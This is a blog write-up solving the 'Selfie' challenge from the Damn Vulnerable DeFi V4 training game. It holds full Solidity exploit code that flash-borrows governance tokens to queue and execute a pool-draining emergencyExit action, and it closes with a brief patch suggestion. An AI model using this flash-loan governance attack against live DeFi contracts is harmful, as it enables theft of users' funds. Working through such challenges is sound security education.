Damn Vulnerable DeFi V4 - 06 Selfie


Challenge

A new lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million at risk.

Rescue all funds from the pool and deposit them into the designated recovery account.


Solve

This challenge has two contracts:

  1. SelfiePool contract

  2. SimpleGovernance contract

Our goal is to drain SelfiePool's token balance, transfer all tokens to the designated recovery account.

We can easily observe that our goal is to call the SelfiePool.emergencyExit() function successfully, because the SelfiePool.flashLoan() function required us to repay.

function flashLoan(IERC3156FlashBorrower _receiver, address _token, uint256 _amount, bytes calldata _data)
    external
    nonReentrant
    returns (bool)
{
    if (_token != address(token)) {
        revert UnsupportedCurrency();
    }

    token.transfer(address(_receiver), _amount);
    if (_receiver.onFlashLoan(msg.sender, _token, _amount, 0, _data) != CALLBACK_SUCCESS) {
        revert CallbackFailed();
    }

    if (!token.transferFrom(address(_receiver), address(this), _amount)) {
        revert RepayFailed();
    }

    return true;
}

function emergencyExit(address receiver) external onlyGovernance {
    uint256 amount = token.balanceOf(address(this));
    token.transfer(receiver, amount);

    emit EmergencyExit(receiver, amount);
}

In order to call SelfiePool.emergencyExit() function, we must call it via SimpleGovernance contract.

modifier onlyGovernance() {
    if (msg.sender != address(governance)) {
        revert CallerNotGovernance();
    }
    _;
}

In order to make SimpleGovernance call arbitrary contract, we must make SimpleGovernance.executeAction() execute successfully.

function executeAction(uint256 actionId) external payable returns (bytes memory) {
    if (!_canBeExecuted(actionId)) {
        revert CannotExecute(actionId);
    }

    GovernanceAction storage actionToExecute = _actions[actionId];
    actionToExecute.executedAt = uint64(block.timestamp);

    emit ActionExecuted(actionId, msg.sender);

    return actionToExecute.target.functionCallWithValue(actionToExecute.data, actionToExecute.value);
}

In order to make SimpleGovernance.executeAction() execute successfully, we have to propose an action and wait for 2 days to make the proposal mature.

function _canBeExecuted(uint256 actionId) private view returns (bool) {
    GovernanceAction memory actionToExecute = _actions[actionId];

    if (actionToExecute.proposedAt == 0) return false;

    uint64 timeDelta;
    unchecked {
        timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt;
    }

    return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS;
}

In order to propose an action, we need to hold enough voting tokens.

function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
    if (!_hasEnoughVotes(msg.sender)) { //@audit-info must hold enough voting token!
        revert NotEnoughVotes(msg.sender);
    }

    if (target == address(this)) {
        revert InvalidTarget();
    }

    if (data.length > 0 && target.code.length == 0) {
        revert TargetMustHaveCode();
    }

    actionId = _actionCounter;

    _actions[actionId] = GovernanceAction({
        target: target,
        value: value,
        proposedAt: uint64(block.timestamp),
        executedAt: 0,
        data: data
    });

    unchecked {
        _actionCounter++;
    }

    emit ActionQueued(actionId, msg.sender);
}

How many voting tokens are enough? It’s 50% of the total supply.

function _hasEnoughVotes(address who) private view returns (bool) {
    uint256 balance = _votingToken.getVotes(who);
    uint256 halfTotalSupply = _votingToken.totalSupply() / 2;
    return balance > halfTotalSupply;
}

Who has the most supply of tokens? The SelfiePool contract!

function setUp() public {
    startHoax(deployer);

    // Deploy token
    token = new DamnValuableVotes(TOKEN_INITIAL_SUPPLY);

    // Deploy governance contract
    governance = new SimpleGovernance(token);

    // Deploy pool
    pool = new SelfiePool(token, governance);

    // Fund the pool
    token.transfer(address(pool), TOKENS_IN_POOL); //@audit-info here

    vm.stopPrank();
}

Let’s summarize the attack steps:

  1. Make a SelfiePool.flashLoan(…) call to borrow at least 50% of the total supply.
    This allows us to have enough tokens to queue an action.

  2. Queue a malicious action.

     queueAction(address target, uint128 value, bytes calldata data)
    
     target = SelfiePool
     value = 0
     data = "emergencyExit(receiver=recovery)"
    
  3. Wait 2 days to make the queued action become mature.

     vm.warp(2 days + 1);
    
  4. Execute the matured action.

Full solution code:

function test_selfie() public checkSolvedByPlayer {
    Hack hack = new Hack(token, governance, pool, recovery);

    bytes memory data = abi.encodeWithSignature("emergencyExit(address)", recovery);
    pool.flashLoan(hack, address(token), TOKENS_IN_POOL, data);

    vm.warp(2 days + 1);

    governance.executeAction(1);
}
//==================================================================
contract Hack is IERC3156FlashBorrower {
    DamnValuableVotes _token;
    SimpleGovernance governance;
    SelfiePool pool;
    address recovery;

    constructor(DamnValuableVotes token, SimpleGovernance _governance, SelfiePool _pool, address _recovery) {
        _token = token;
        governance = _governance;
        pool = _pool;
        recovery = _recovery;
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external override returns (bytes32) {
        _token.delegate(address(this));
        governance.queueAction(address(pool), 0, data);

        IERC20(token).approve(msg.sender, type(uint256).max);

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

Potential Patches

The SimpleGovernance.queueAction() function should keep the voting token until the action has been executed.

0
Subscribe to my newsletter

Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

whiteberets[.]eth
whiteberets[.]eth

Please don't OSINT me, I'd be shy. 🫣